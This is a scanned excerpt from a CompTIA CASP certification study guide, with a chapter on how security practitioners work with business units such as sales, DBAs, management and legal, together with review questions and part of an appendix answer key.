1. Which of the following is a uniquely identifiable subset of the 
system that represents the smallest portion to be subject to an 
independent configuration control procedure? 


a. CI 
b. AV 
c. CU 
d. CC 


2. You have been hired as a security analyst for your company. 
Recently, several assets have been marked to be removed from the 
enterprise. You need to document the steps that should be taken in 
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relation to security. Which of the following guidelines should be 
implemented? 


a. 
b. 
c. 


d. 


Deploy the appropriate security controls on the asset. 
Deploy the most recent updates for the asset. 


Back up all the data on the asset and ensure that the data is 
completely removed. 


Shred all the hard drives in the asset. 


3. Your organization has decided to formally adopt a change 
management process, and you have been asked to design the 
process. Which of the following guidelines should be part of this 
new process? 


a. 
b. 


d. 


Only critical changes should be fully analyzed. 


After formal approval, all costs and effects of 
implementation should be reviewed. 


Change steps should be developed only for complicated 
changes. 


All changes should be formally requested. 


4. You have been asked to join the development team at your 
organization to provide guidance on security controls. During the 
first meeting, you discover that the development team does not 
fully understand the SDLC. During which phase of this life cycle is 
the system actually deployed? 


a 
b 
c 


d 


Acquire/develop 


Implement 


. Initiate 


Operate/maintain 


5. A development team has recently completed the deployment of a 
new learning management system (LMS) that will replace the 
current legacy system. The team successfully deploys the new 
LMS, and it is fully functional. Users are satisfied with the new 
system. What stage of the SDLC should you implement for the old 
system? 


a. 
b. 


Dispose 
Operate/maintain 
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c. Initiate 
d. Acquire/develop 


6. You have been asked to participate in the deployment of a new 
firewall. The project has just started and is still in the initiation 
stage. Which step should be completed as part of this stage? 


a. Develop security controls. 

b. Assess the system security. 

c. Ensure information preservation. 

d. Assess the business impact of the system. 


7. You are working with a project team to deploy several new 
firewalls. The initiation stage is complete, and now the team is 
engaged in the acquisition stage. Which step should the team 
complete as part of this stage? 


a. Provide security categories for the new routers. 

b. Test the routers for security resiliency. 

c. Design the security architecture. 

d. Update the routers with the latest updates from the vendor. 


8. What documents the security requirements that a new asset must 
meet? 


a. SDLC 
b. SRTM 
c. SSDLC 
d. RFID 


9. Which of the following is a device-tracking technology? 
a. geolocation 
b. geotagging 
c. geofencing 
d. RFID 


10. Which technology uses chips and receivers to manage inventory? 
a. geolocation 
b. geotagging 
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c. SRTM 
d. RFID 
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Chapter 19. Business Unit Interaction 


This chapter covers the following topics: 


= Interpreting Security Requirements and Goals to 
Communicate with Stakeholders from Other Disciplines: 
This section discusses the different roles—including sales 
staff, programmer, database administrator, network 
administrator, management/executive management, 
financial, human resources, emergency response team, 
facilities manager, physical manager, and legal counsel—and 
their unique security requirements. 


= Provide Objective Guidance and Impartial 
Recommendations to Staff and Senior Management on 
Security Processes and Controls: This section explains the 
need for a security practitioner to be objective and impartial. 


= Establish Effective Collaboration Within Teams to 
Implement Secure Solutions: This section explains the 
importance of collaboration to implement solutions that 
include security controls. 


= Governance, Risk, and Compliance Committee: This 
section explains the importance of all business units being 
involved in the governance, risk, and compliance committee 
to design all IT governance components. 


This chapter covers CAS-003 objective 5.3. 


In every enterprise, security professionals must facilitate interaction across 
diverse business units to achieve security goals. The security goals must be 
written so that the different personnel in the business units are able to 
understand them. It is a security practitioner’s job to ensure that all the 
personnel within the business units understand the importance of 
enterprise security. This includes interpreting security requirements and 
goals to communicate with stakeholders from other disciplines, providing 
objective guidance and impartial recommendations to staff and senior 
management on security and controls, and establishing effective 
collaboration within teams to implement security solutions. The 
governance, risk, and compliance committee should work together to 
develop the security, governance, risk, and compliance goals for the 
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organization. 


Interpreting Security Requirements and Goals to 
Communicate with Stakeholders from Other Disciplines 


Security requirements are often written by individuals with broad 
experience in security. This often means that the requirements are written 
in such a way that personnel in the organization’s business units are unable 
to understand how the security requirements relate to their day-to-day 
duties. Security practitioners must ensure that stakeholders in other 
disciplines understand the security requirements and why they are 
important. It may be necessary for a security practitioner to develop 
security policies for the different disciplines within the organization, 
including sales staff, programmers, database administrators, network 
administrators, management/executive management, financial, human 
resources, the emergency response team, the facilities manager, the 
physical security manager, and legal counsel. 


Sales Staff 


Ke 
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Sales staff are rarely concerned with organizational security and, due to the 
nature of their jobs, often have unique security issues. For many 
organizations, sales staff often spend days on the road, connecting to the 
enterprise from wherever they find themselves, including public Wi-Fi, 
hotel networks, partner networks, and so on. While sales staff simply need 
a convenient solution, it is often not in the best interest of the organization 
for sales staff to use any available public network. Because of the sensitive 
nature of the information that sales staff transmit, their devices are often 
targeted by attackers. Some of the security solutions that an organization 
should consider for sales staff include the following: 


= Create a virtual private network (VPN) to allow remote sales staff to 
connect to the organization’s network. 


= Implement full disk encryption on all mobile devices issued to sales 
staff. 


= Implement geolocation/Global Positioning System (GPS) location 
tracking for all mobile devices issued to sales staff. 
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= Implement remote lock and remote wipe for all mobile devices issued 
to sales staff. 


Security practitioners should ensure that sales staff periodically attend 
security awareness training focused on issues that the sales staff will 
encounter, including password protection, social engineering attacks, VPN 
usage, and lost device reporting. 


Programmer 
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Programmers are responsible for developing software that the organization 
uses and must understand secure software development. For this reason, 
programmers should obtain periodic training on the latest secure coding 
techniques. Programmers should adhere to design specifications for all 
software developed, and security practitioners should ensure that the 
design specifications include security requirements. Secure software 
development should always be a priority for programmers. 


A code audit analyzes source code in a program with the intention of 
discovering bugs, security breaches, or violations of secure programming 
conventions. It attempts to reduce errors before the software is released. 


Because software often involves the integration of multiple computers and 
devices, programmers must also understand how these computers and 
devices work together and communicate. For example, an ecommerce 
application may interact with financial systems as well as an inventory 
database. Any communication between these systems would need to be 
properly protected to ensure that hackers cannot obtain the data. 


Security practitioners should ensure that programmers periodically attend 
security awareness training that is focused on issues the programmers will 
encounter, including secure code development, code review, password 
protection, and social engineering. In addition, it may be necessary for 
programmers to have two levels of accounts: a normal user account for 
everyday use and an administrative-level account that is used only for 
performing tasks that require elevated credentials. The principle of least 
privilege should be thoroughly explained to programmers. 


Database Administrator 
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A database administrator is responsible for managing organizational 
databases that store valuable information, including financial, personnel, 
inventory, and customer information. Because much of the data in a 
database can be considered confidential or private, security practitioners 
must ensure that database administrators understand the security 
requirements for the database. 


If a database is implemented, each user who needs access to the database 
should have his or her own account. Permissions can be granted to the 
individual tables or even individual cells. Database administrators often 
use database views to ensure that users can read only the information to 
which they have access. But even with properly configured permissions 
and use of views, database information can still be compromised. For this 
reason, database administrators should consider implementing some form 
of encryption. Within most databases, database administrators can encrypt 
individual cells, tables, or the entire database. However, cell, table, or 
database encryption places additional load on the server. 


Transparent data encryption (TDE) is a newer encryption method used in 
SQL Server 2008 and later. TDE provides protection for an entire database 
at rest, without affecting existing applications by encrypting the entire 
database. Another option would be to use Encrypting File System (EFS) or 
BitLocker Drive Encryption to encrypt the database files. 


In addition, database administrators should be concerned with data 
integrity. Auditing should be configured to ensure that users can be held 
responsible for the actions they take. Backups should also regularly occur 
and should include backing up the transaction log. 


Database administrators must periodically obtain database training to 
ensure that their skill level is maintained. In addition, security practitioners 
should ensure that database administrators attend security awareness 
training that is focused on issues that the database administrators will 
encounter, including database security, secure database design, password 
protection, and social engineering. In addition, it is necessary for database 
administrators to have two levels of accounts: a normal user account for 
everyday use and an administrative-level account to be used only for 
performing tasks that require elevated credentials. The principle of least 
privilege should be thoroughly explained to all database administrators. 
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Network Administrator 
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A network administrator is responsible for managing and maintaining the 
organization’s network. This includes managing all the devices responsible 
for network traffic, including routers, switches, and firewalls. The network 
administrator is usually more worried about network operation than 
network security. Because data is constantly being transmitted over the 
network, the network administrator must also understand the types of 
traffic that are being transmitted, the normal traffic patterns, and the 
average load for the network. Protecting all this data from attackers should 
be a primary concern for a network administrator. Security practitioners 
should regularly communicate with the network administrator about the 
security requirements for the network. 


Network administrators should ensure that all network devices, such as 
routers and switches, are stored in a secure location, usually a locked 
closet or room. If wireless networks are used, the network administrator 
must ensure that the maximum protection is provided. While it is much 
easier to install a wireless access point without all the security precautions, 
security practitioners must ensure that the network administrators 
understand how and why to secure the wireless network. In addition, these 
administrators should know who is on their network, which devices are 
connected, and who accesses the devices. Remember that physical and 
logical security controls should be considered as part of any security plan. 


Network administrators must periodically obtain training to ensure that 
their skill level is maintained. In addition, security practitioners should 
ensure that the network administrators attend security awareness training 
that is focused on issues that the network administrators will encounter, 
including network security, new attack vectors and threats, new security 
devices and techniques, password protection, and social engineering. In 
addition, each network administrator must have two levels of accounts: a 
normal user account for everyday use and an administrative-level account 
to be used only for performing tasks that require elevated credentials. The 
principle of least privilege should be thoroughly explained to all network 
administrators. 


Management/Executive Management 
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High-level management has the ultimate responsibility for preserving and 
protecting organizational data. High-level management includes the CEO, 
CFO, CIO, CPO, and CSO. Other management levels, including business 
unit managers and business operations managers, have security 
responsibilities as well. 


The chief executive officer (CEO) is the highest managing officer in any 
organization and reports directly to the shareholders. The CEO must 
ensure that an organization grows and prospers. 


The chief financial officer (CFO) is the officer responsible for all financial 
aspects of an organization. Although structurally the CFO might report 
directly to the CEO, the CFO must also provide financial data for the 
shareholders and government entities. 


The chief information officer (CIO) is the officer responsible for all 
information systems and technology used in the organization and reports 
directly to the CEO or CFO. The CIO usually drives the effort to protect 
company assets, including any organizational security program. 


The chief privacy officer (CPO) is the officer responsible for private 
information and usually reports directly to the CIO. As a newer position, 
this role is still considered optional but is becoming increasingly popular, 
especially in organizations that handle lots of private information, 
including medical institutions, insurance companies, and financial 
institutions. 


The chief security officer (CSO) is the officer who leads any security 
effort and reports directly to the CEO. This role, which is considered 
optional at this point, must be solely focused on security matters. Its 
independence from all other roles must be maintained to ensure that the 
organization’s security is always the focus. The CSO is usually responsible 
for the organization’s risk management and compliance initiatives. 


Business unit managers provide departmental information to ensure that 
appropriate controls are in place for departmental data. Often a business 
unit manager is classified as the data owner for all departmental data. 
Some business unit managers have security duties. For example, the 
business operations department manager would be best suited to 
overseeing security policy development. 
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Security practitioners must be able to communicate with all these groups 
regarding the security issues that an organization faces and must be able to 
translate those issues into security requirements and goals. But keep in 
mind that management generally is concerned more with costs and wants 
to control costs associated with security as much as possible. It is the 
security practitioner’s job to complete the appropriate research to ensure 
that the security controls that he or she suggests fit the organization’s goals 
and that the reasons behind the decision are valid. Management must be 
sure to convey the importance of security to all personnel within the 
organization. If it appears to personnel that management is reluctant to 
value any security initiatives, personnel will be reluctant as well. 


For high-level management, security awareness training must provide a 
clear understanding of potential risks and threats, effects of security issues 
on organizational reputation and financial standing, and any applicable 
laws and regulations that pertain to the organization’s security program. 
Middle management training should discuss policies, standards, baselines, 
guidelines, and procedures, particularly how these components map to the 
individual departments. Also, middle management must understand their 
responsibilities regarding security. These groups also must understand 
password protection and social engineering. Most members of 
management will also have two accounts each: a normal user account for 
everyday use and an administrative-level account to be used only for 
performing tasks that require elevated credentials. The principle of least 
privilege should be thoroughly explained to all members of management. 


Financial 
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Because the financial staff handles all the duties involved in managing all 
financial accounting for the organization, it is probably the department 
within the organization that must consider security the most. The data that 
these staff deal with on a daily basis must be kept confidential. In some 
organizations, it may be necessary to isolate the accounting department 
from other departments to ensure that the data is not compromised. In 
addition, the department may adopt a clean-desk policy to ensure that 
others cannot obtain information by picking up materials left on a desk. 
Financial staff may also need to implement locking screensavers. 
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Financial department personnel must periodically obtain training to ensure 
that their skill level is maintained and that they understand new laws or 
regulations that may affect the organization’s financial record-keeping 
methods. In addition, security practitioners should ensure that financial 
department personnel attend security awareness training that is focused on 
issues they will encounter, including password protection and social 
engineering. Financial personnel should be familiar with retention policies 
to ensure that important data is retained for the appropriate period. The 
organization’s asset disposal policy should stipulate how assets should be 
disposed, including instructions on shredding any paper documents that 
include private or confidential information. 


Human Resources 
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Similar to the personnel in the financial department, personnel in the 
human resources department probably already have some understanding of 
the importance of data security. Human resources data includes private 
information regarding all of an organization’s personnel. For this reason, 
clean-desk policies and locking screensavers are also often used in the 
human resources department. 


Human resources department personnel must periodically obtain training 
to ensure that their skill level is maintained and that they understand new 
laws or regulations that may affect personnel. In addition, security 
practitioners should ensure that human resources department personnel 
attend security awareness training that is focused on issues they will 
encounter, including password protection and social engineering. 


Emergency Response Team 
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The emergency response team is composed of organizational personnel 
who are responsible for handling any emergencies that occur. Many of the 
members of this team have other primary job duties and perform 
emergency response duties only when an emergency occurs. For the CASP 
exam, the focus is on any emergencies that affect the organization’s 
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enterprise. This team should have a solid understanding of security and its 
importance to the organization. The team will coordinate any response to 
an emergency based on predefined incident response procedures. Some 
members of this team may need to obtain specialized training on 
emergency response. In addition, they may need access to tools needed to 
address an emergency. If possible, at least one member of the team should 
have experience in digital forensic investigations to ensure that the team is 
able to fully investigate an incident. 


Emergency response team personnel must periodically obtain training for 
any newly identified emergencies that may occur. In addition, security 
practitioners should ensure that the emergency response team attends 
security awareness training that is focused on issues the team will 
encounter. Finally, the emergency response team should review any 
emergency response procedures at regular intervals to ensure that the 
procedures are still accurate, and they should perform testing exercises, 
including drills, to ensure that the emergency response plan is up-to-date. 


Facilities Manager 
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A facilities manager ensures that all organizational buildings are 
maintained by building maintenance and custodial services. The facilities 
manager works closely with the physical security manager because both 
areas are tightly interwoven in many areas. Today, facilities managers are 
increasingly coming into contact with supervisory control and data 
acquisition (SCADA) systems, which allow the manager to monitor and 
control many aspects of building management, including water, power, 
and heating, ventilation, and air-conditioning (HVAC). 


The facilities manager needs to understand the need to update the firmware 
and other software used by SCADA or other environmental management 
systems. In addition, security practitioners should ensure that the facilities 
manager attends security awareness training that is focused on issues he or 
she will encounter, including password protection and social engineering. 
Special focus should be given to vendor default accounts and the risks of 
logical backdoors in administrative tools. 


Physical Security Manager 
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A physical security manager ensures that the physical security of all 
buildings and secure locations is maintained and monitored to prevent 
intrusions by unauthorized individuals. Controls that may be used include 
fences, locks, biometrics, guards, and closed-circuit television (CCTV). 
The physical security manager should always be looking into new ways of 
securing access to the building. In addition, the physical security manager 
needs to be involved in the design of any internal secure areas, such as a 
data center. 


A physical security manager needs to understand any new technologies 
that are used in physical security and should assess the new technologies to 
determine whether they would be beneficial for the organization. In 
addition, security practitioners should ensure that the physical security 
manager attends security awareness training that is focused on the issues 
he or she will encounter. 


Legal Counsel 
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Legal counsel ensures that the organization complies with all laws and 
regulations. Legal counsel should provide guidance on the formation of all 
organizational policies and controls and ensure that they comply with all 
laws and regulations that affect the organization. In addition, legal counsel 
should review all agreements with personnel, vendors, service providers, 
and other entities for compliance with laws and regulations and to ensure 
that due diligence is performed. Finally, legal counsel should ensure that 
all incident response procedures and forensic investigation procedures 
follow legal procedure. Legal counsel should report to the CEO and board 
of directors. 


Legal counsel must periodically obtain training to ensure that their 
knowledge of current laws and regulations that affect the organization is 
maintained. In addition, security practitioners should ensure that legal 
counsel attend security awareness training that is focused on issues they 
will encounter, including password protection and social engineering. 
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Provide Objective Guidance and Impartial 
Recommendations to Staff and Senior Management on 
Security Processes and Controls 


As a security practitioner, you will often have others in your organization 
come to you for advice. It is important that you provide objective guidance 
and impartial recommendations to staff and senior management on 
security processes and controls. As discussed in Chapter 3, “Risk 
Mitigation Strategies and Controls,” three types of controls are used for 
security: 
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=» Administrative or management controls: These controls are 
implemented to administer the organization’s assets and personnel 
and include security policies, procedures, standards, baselines, and 
guidelines that are established by management. 


= Logical or technical controls: These software or hardware 
components are used to restrict access. 


= Physical controls: These controls are implemented to protect an 
organization’s facilities and personnel. 


Any time your advice is solicited, you need to research all the options, 
provide explanations on each of the options you researched, and provide a 
final recommendation on which options you would suggest. It is also good 
if you can provide comparative pros and cons of the different options and 
include purchasing and implementation costs. Any effects on existing 
systems or technologies should also be investigated. Remember that your 
thoroughness in assessing any recommended controls helps ensure that the 
best decisions can be made. 


Establish Effective Collaboration Within Teams to 
Implement Secure Solutions 


Because an organization’s security can be compromised by anyone within 
the organization, a security practitioner must help facilitate collaboration 
across diverse business units to achieve security goals. Business units must 
work together to support each other. If the financial department plans to 
implement a new application that requires a back-end database solution, 
the database administrator should be involved in the implementation of the 
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new application. If the sales department is implementing a new solution 
that could impact network performance, the network administrators should 
be involved in deployment of the new solution. Bringing in the other 
business units to provide advice and direction on any new initiatives 
ensures that all security issues can be better addressed. 


Let’s look at an example. Suppose that an employee has been terminated 
and promptly escorted to his exit interview, after which the employee left 
the building. It is later discovered that this employee had started a 
consulting business in which he had used screenshots of his work at the 
company, including live customer data. The information was removed 
using a USB device. After this incident, a process review is conducted to 
ensure that this issue does not recur. You should include a member of 
human resources and IT management as part of the review team to 
determine the steps that could be taken to prevent such a situation from 
happening again in the future. 


As another example, say that a team needs to create a secure connection 
between software packages to list employees’ remaining or unused 
benefits on their paycheck stubs. The team to design this solution should 
include a finance officer, a member of human resources, and the security 
administrator. 


Keep in mind that it is always best to involve members of different 
departments when you are designing any security policies, procedures, or 
guidelines. You need to ensure that you get their input. Including these 
people also helps ensure that all the departments better understand the 
importance of the new policies. You should always discuss the 
requirements of the new security solutions with the stakeholders from each 
of the internal departments that will be affected. 


Suppose the CEO asks you to provide recommendations on the task 
distribution for a new project. The CEO thinks that by assigning areas of 
work appropriately, the overall security will be increased because staff will 
focus on their areas of expertise. The following groups are involved in the 
project: networks, development, project management, security, systems 
engineering, and testing. You should assign the tasks in the following 
manner: 


= Systems engineering: Decomposing requirements 


= Development: Code stability 
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= Testing: Functional validation 

= Project management: Stakeholder engagement 
= Security: Secure coding standards 

= Networks: Secure transport 


As collaboration is used, business units across the organization will learn 
to work together. As a security practitioner, you should ensure that the 
security of the organization is always considered as part of any new 
solution. 


Governance, Risk, and Compliance Committee 


IT governance, risk, and compliance are discussed extensively in Chapter 
3. IT governance involves the creation of policies, standards, baselines, 
guidelines, and procedures. Personnel from all business units should help 
in the establishment of the IT governance components to ensure that all 
aspects of the organization are considered during their design. 


In some organizations, there is a known lack of governance for solution 
designs. As a result, there are inconsistencies and varying levels of quality 
for the designs that are produced. The best way to improve this would be 
to introduce a mandatory peer review process before a design can be 
released. 


Organizations should form a governance, risk, and compliance committee 
that is composed of personnel from departments throughout the company 
and from all levels. The governance, risk, and compliance committee 
should address all three elements: 


Ke 
ote 


= Governance: The oversight role and the process by which companies 
manage and mitigate business risks 


= Risk management: All relevant business and regulatory risks and 
controls and monitoring of mitigation actions in a structured manner 


= Compliance: The processes and internal controls to meet the 
requirements imposed by governmental bodies, regulators, industry 
mandates, or internal policies 


The governance process for this committee includes defining and 
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communicating corporate control, key policies, enterprise risk 
management, regulatory and compliance management, and oversight and 
evaluating business performance through balanced scorecards, risk 
scorecards, and operational dashboards. 


The risk management process for this committee includes systemically 
identifying, measuring, prioritizing, and responding to all types of risk in 
the business and then managing any exposure accordingly. 


The compliance process for this committee includes identifying laws and 
regulations that affect the organization and ensuring that projects put into 
place the controls needed to comply. When an organization is dealing with 
multiple regulations at the same time, a streamlined process of managing 
compliance with each of these initiatives is critical. Otherwise, costs spiral 
out of control, and the risk of noncompliance increases. 





Exam Preparation Tasks 


You have a couple choices for exam preparation: the exercises here and 
the practice exams in the Pearson IT Certification test engine. 


Review All Key Topics 


Review the most important topics in this chapter, noted with the Key 
Topics icon in the outer margin of the page. Table 19-1 lists these key 
topics and the page number on which each is found. 


Ly 

Topic 

Table 19-1 Key Topics for Chapter 19 

Key Topic Description Page 
Element Number 
Paragraph Sales staff 717 
Paragraph Programmer 718 
Paragraph Database administrator 719 
Paragraph Network administrator 720 
Paragraph Management/executive management 720 
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Paragraph Financial 722 


Paragraph Human resources 722 
Paragraph Emergency response team 723 
Paragraph Facilities manager 723 
Paragraph Physical security manager 723 
Paragraph Legal counsel 724 
List Security control types 724 
List Governance, risk, and compliance 727 
elements 
Define Key Terms 


Define the following key terms from this chapter and check your answers 
in the glossary: 
administrative controls 
BitLocker 
chief executive officer (CEO) 
chief financial officer (CFO) 
chief information officer (CIO) 
chief privacy officer (CPO) 
chief security officer (CSO) 
database administrator 
emergency response team 
Encrypting File System (EFS) 
facilities manager 
legal counsel 
logical controls 
management controls 
network administrator 
physical controls 
physical security manager 


programmer 
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technical controls 
transparent data encryption (TDE) 


Review Questions 


1. Your organization has decided to convert two rarely used 
conference rooms into a secure data center. This new data center 
will house all servers and databases. Access to the data center will 
be controlled using biometrics. CCTV will be deployed to monitor 
all access to the data center. Which staff members should be 
involved in the data center design and deployment? 


a. database administrator, network administrator, facilities 
manager, physical security manager, and management 


b. database administrator, programmer, facilities manager, 
physical security manager, and management 


c. database administrator, network administrator, facilities 
manager, physical security manager, and programmer 


d. database administrator, network administrator, programmer, 
physical security manager, and management 


2. During the design of a new application, the programmers need to 
determine the performance and security impact of the new 
application on the enterprise. Who should collaborate with the 
programmers to determine this information? 


a. database administrator 
b. network administrator 
c. executive management 
d. physical security manager 


3. During the design of a new data center, several questions arise as 
to the use of raised flooring and dropped ceiling that are part of the 
blueprint. Which personnel are most likely to provide valuable 
information in this area? 


a. database administrator and facilities manager 
b. database administrator and physical security manager 
c. facilities manager and physical security manager 
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d. emergency response team and facilities manager 
e. legal counsel and facilities manager 


4. Which statement is not true regarding an organization’s sales staff? 


a. The sales staff is rarely concerned with organizational 
security. 


b. The sales staff has unique security issues. 


c. The sales staff will often use publicly available Internet 
connections. 


d. The sales staff’s devices are rarely targets of attackers. 


5. Which statement is not true regarding an organization’s database 
administrator? 


a. Database administrators should grant permissions based on 
user roles. 


b. Database administrators use database views to limit the 
information to which users have access. 


c. Database administrators should implement encryption to 
protect information in cells, tables, and entire databases. 


d. Database administrators should use auditing so that users’ 
actions are recorded. 


6. As part of a new security initiative, you have been asked to 
provide data classifications for all organizational data that is stored 
on servers. As part of your research, you must interview the data 
owners. Which staff are most likely to be considered data owners? 


a. business unit managers and CEO 

b. business unit managers and CIO 

c. CIO and CSO 

d. physical security manager and business unit managers 


7. Which of the following statements regarding the security 
requirements and responsibilities for personnel is true? 


a. Only management and senior staff have security 
requirements and responsibilities. 


b. Although executive management is responsible for leading 
any security initiative, executive management is exempt 
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from most of the security requirements and responsibilities. 


c. All personnel within an organization have some level of 
security requirements and responsibilities. 


d. Only the physical security manager should be concerned 
with the organization’s physical security. 


8. You have been hired as a security analyst for your organization. 
As you begin your job, you are asked to identify new 
administrative controls that should be implemented by your 
organization. Which of the following controls should you list? 
(Choose all that apply.) 


a. departmental security policies 
b. security awareness training 

c. data backups 

d. auditing 


9. You have been hired as a security analyst for your organization. 
As you begin your job, you are asked to identify new physical 
controls that should be implemented by your organization. Which 
of the following controls should you list? (Choose all that apply.) 


a. separation of duties 
b. encryption 

c. biometrics 

d. guards 


10. You have been hired as a security analyst for your organization. 
As you begin your job, you are asked to identify new technical 
controls that should be implemented by your organization. Which 
of the following controls should you list? (Choose all that apply.) 


a. personnel procedures 
b. authentication 

c. firewalls 

d. badges 
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Appendix A. Answers 


Chapter 1 


1. b. A third-party connection agreement (TCA) is a document that 
spells out exactly the security measures that should be taken with 
respect to the handling of data exchanged between the parties. 
This document should be executed in any instance where a 
partnership involves depending on another entity to secure 
company data. 


2. b. There is a trade-off when a decision must be made between 
the two architectures. A private solution provides the most 
control over the safety of your data but also requires staff and 
knowledge to deploy, manage, and secure the solution. 


3. c. A community cloud is shared by organizations that are 
addressing a common need, such as regulatory compliance. Such 
shared clouds may be managed by either a cross-company team 
or a third-party provider. A community cloud can be beneficial 
to all participants because it can reduce the overall cost to each 
organization. 


4. b. The auditors and the compliance team should be using 
matching frameworks. 


5. c. Policies are broad and provide the foundation for development 
of standards, baselines, guidelines, and procedures. 


6. b. Downstream liability refers to liability that an organization 
accrues due to partnerships with other organizations and 
customers. 


7. a. Due care means that an organization takes all the actions it can 
reasonably take to prevent security issues or to mitigate damage 
if security breaches occur. 


8. b. A publicly traded corporation is most likely to be affected by 
the Sarbanes-Oxley (SOX) Act. 


9. d. A three-legged firewall is an example of traditional 
perimeterization. Examples of de-perimeterization include 
telecommuting, cloud computing, bring your own device 
(BYOD), and outsourcing. 
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10. c. It’s a well-known fact that security measures negatively affect 
both network performance and ease of use for users. With this in 
mind, the identification of situations where certain security 
measures (such as encryption) are required and where they are 
not required is important. Eliminating unnecessary measures can 
both enhance network performance and reduce complexity for 
users. 


Chapter 2 


1. b. You should implement separation of duties, a security control 
that requires multiple employees to complete a task. 


2. a. An SLA lists all the guaranteed performance levels of a new 
connection. 


3. c. An NDA should be used to ensure data privacy. 


4. d. The principle of least privilege should be implemented for all 
positions, not just high-level positions. 


5. b. The primary concern of PII is confidentiality. 


6. c. Several invalid password attempts for multiple users is an 
example of an incident. All the other examples are events. 


7. d. The steps of a risk assessment are as follows: 
1. Identify assets and asset value. 
2. Identify vulnerabilities and threats. 
3. Calculate threat probability and business impact. 
4. Balance threat impact with countermeasure cost. 


8. a. An SOA identifies the controls chosen by an organization and 
explains how and why the controls are appropriate. 


9. b. A request for proposal (RFP) requires that a vendor reply with 
a formal bid proposal. 


10. c. First, you should develop the policy for NAC. A policy should 
be written first, and then the process, and then the procedures. 
Chapter 3 


1. d. Technical threat agents include hardware and software failure, 
malicious code, and new technologies. Human threat agents 
include both malicious and non-malicious insiders and outsiders, 
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terrorists, spies, and terminated personnel. Natural threat agents 
include floods, fires, tornadoes, hurricanes, earthquakes, or other 
natural disaster or weather event. Environmental threat agents 
include power and other utility failure, traffic issues, biological 
warfare, and hazardous material issues (such as spillage). 


2. d. SLE indicates the monetary impact of each threat occurrence. 
ARO is the estimate of how often a given threat might occur 
annually. ALE is the expected risk factor of an annual threat 
event. EF is the percent value or functionality of an asset that 
will be lost when a threat event occurs. 


3. b. Risk avoidance involves terminating an activity that causes a 
risk or choosing an alternative that is not as risky. Residual risk 
is risk that is left over after safeguards have been implemented. 
Risk transfer is passing the risk on to a third party. Risk 
mitigation is defining the acceptable risk level the organization 
can tolerate and reducing the risk to that level. 


4. a. Advisory security policies provide instruction on acceptable 
and unacceptable activities. Non-disclosure agreements (NDAs) 
are binding contracts that are signed to ensure that the signer 
does not divulge confidential information. Informative security 
policies provide information on certain topics and act as an 
educational tool. Regulatory security policies address specific 
industry regulations, including mandatory standards. System- 
specific security policies address security for a specific 
computer, network, technology, or application. 


5. a. The formula given in the scenario is used to calculate the 
aggregate CIA score. To calculate ALE, you should multiply 
SLE x ARO. To calculate SLE, you should multiply AV x EF. 
Quantitative risk involves using SLE and ALE. 


6. b. You are leading the continuous monitoring program, which 
will periodically assess its information security awareness. A 
security training program designs and delivers security training 
at all levels of the organization. A risk mitigation program 
attempts to identify risks and select and deploy mitigating 
controls. A threat identification identifies all threats to an 
organization as part of risk management. 


7. c. You are providing the total cost of ownership (TCO). Return 
on investment (ROI) refers to the money gained or lost after an 
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organization makes an investment. Single loss expectancy (SLE) 
is the monetary impact of each threat occurrence. Net present 
value (NPV) is a type of ROI calculation that compares ALE 
against the expected savings as a result of an investment and 
considers the fact that money spent today is worth more than 
Savings realized tomorrow. 


8. a. Inherent risks are risks that are unavoidable. You should still 
implement security controls to protect against them. Residual 
risk is the level of risk remaining after safeguards or controls 
have been implemented. Technical and operational are two types 
of threat agents, not types of risks. 


9. b. Confidentiality and integrity have been violated. Changing the 
data violates integrity, and accessing patented design plans 
violates confidentiality. Availability has not been violated in this 
scenario. 


10. c. ALE = SLE x ARO = $1,200 x 5% = $60 
SLE = AV x EF = $12,000 x 10% = $1,200 


Chapter 4 


1. a. You should capture benchmarks for all upgraded servers, 
compare those benchmarks to the old baselines, and replace the 
old baselines using the new benchmarks for any values that have 
changes. Benchmarks should always be compared to baselines. 
Baselines should be updated if changes made to a system can 
improve the system’s performance. 


2. b. You should implement the solutions one at a time in the 
virtual lab, run a simulation for the attack in the virtual lab, 
collect the metrics on the servers’ performance, roll back each 
solution, implement the next solution, and repeat the process for 
each solution. Then you should choose which solutions to 
implement based on the metrics collected. Each solution should 
be tested in isolation, without the other solutions being deployed. 
You should run the simulation for the attack in the virtual lab 
before collecting metrics on the servers’ performance. 


3. c. You should perform a cost/benefit analysis for the new 
security control before deploying the control. 


4. d. When you are collecting and comparing metrics on a day-to- 
day basis, you are performing daily workloads. 
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5. a. The purpose of a network trends collection policy is to collect 
trends that will allow you to anticipate where and when defenses 
might need to be changed. 


6. b. Performance is the manner in which or the efficiency with 
which a device or technology reacts or fulfills its intended 
purpose. 


7. c. Usability means making a security solution or device easier to 
use and matching the solution or device more closely to 
organizational needs and requirements. 


8. d. You should report the issue to senior management to find out 
if the higher latency value is acceptable. 


9. a. You should create a lessons-learned report. All the other 
options should be performed before deployment. 


10. b. You should provide mean time to repair (MTTR) and mean 
time between failures (MTBF) to provide management with 
metrics regarding availability. 


Chapter 5 


1. a. Remote Desktop Protocol (RDP) is a proprietary protocol 
developed by Microsoft that provides a graphical interface to 
connect to another computer over a network connection. Unlike 
using Telnet and SSH, which allow only work at the command 
line, RDP enables you to work on the computer as if you were at 
its console. 


2. d. One or more consecutive sections with only a 0 can be 
represented with a single empty section (double colons), but this 
technique can be applied only once. 

3. d. Teredo assigns addresses and creates host-to-host tunnels for 
unicast IPv6 traffic when IPv6 hosts are located behind IPv4 
network address translators. 

4.b. When HTTPS is used, port 80 is not used. Rather, HTTPS 
uses port 443. 

5. c. Extensible Authentication Protocol (EAP) is not a single 
protocol but a framework for port-based access control that uses 
the same three components as RADIUS. 


6. d. 802.1x is a standard that defines a framework for centralized 
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port-based authentication. It can be applied to both wireless and 
wired networks and uses three components: 


= Supplicant: The user or device requesting access to the 
network 


= Authenticator: The device through which the supplicant is 
attempting to access the network 


=» Authentication server: The centralized device that performs 
authentication 


7. a. A signature-based IDS uses a database of attack characteristics 
called signatures. This database must be kept updated to provide 
protection. 


8. b. A web application firewall (WAF) applies rule sets to an 
HTTP conversation. These sets cover common attack types to 
which these session types are susceptible. 


9. c. Among the architectures used are: 


= Interception-based model: Watches the communication 
between the client and the server 


= Memory-based model: Uses a sensor attached to the database 
and continually polls the system to collect the SQL statements 
as they are being performed 


= Log-based model: Analyzes and extracts information from the 
transaction logs 


10. d. A microSD HSM is an HSM that connects to the microSD port 
on a device that has such a port. The card is specifically suited 
for mobile apps written for Android and is supported by most 
Android phones and tablets with a microSD card slot. 


Chapter 6 


1. b. A trusted operating system (OS) is an operating system that 
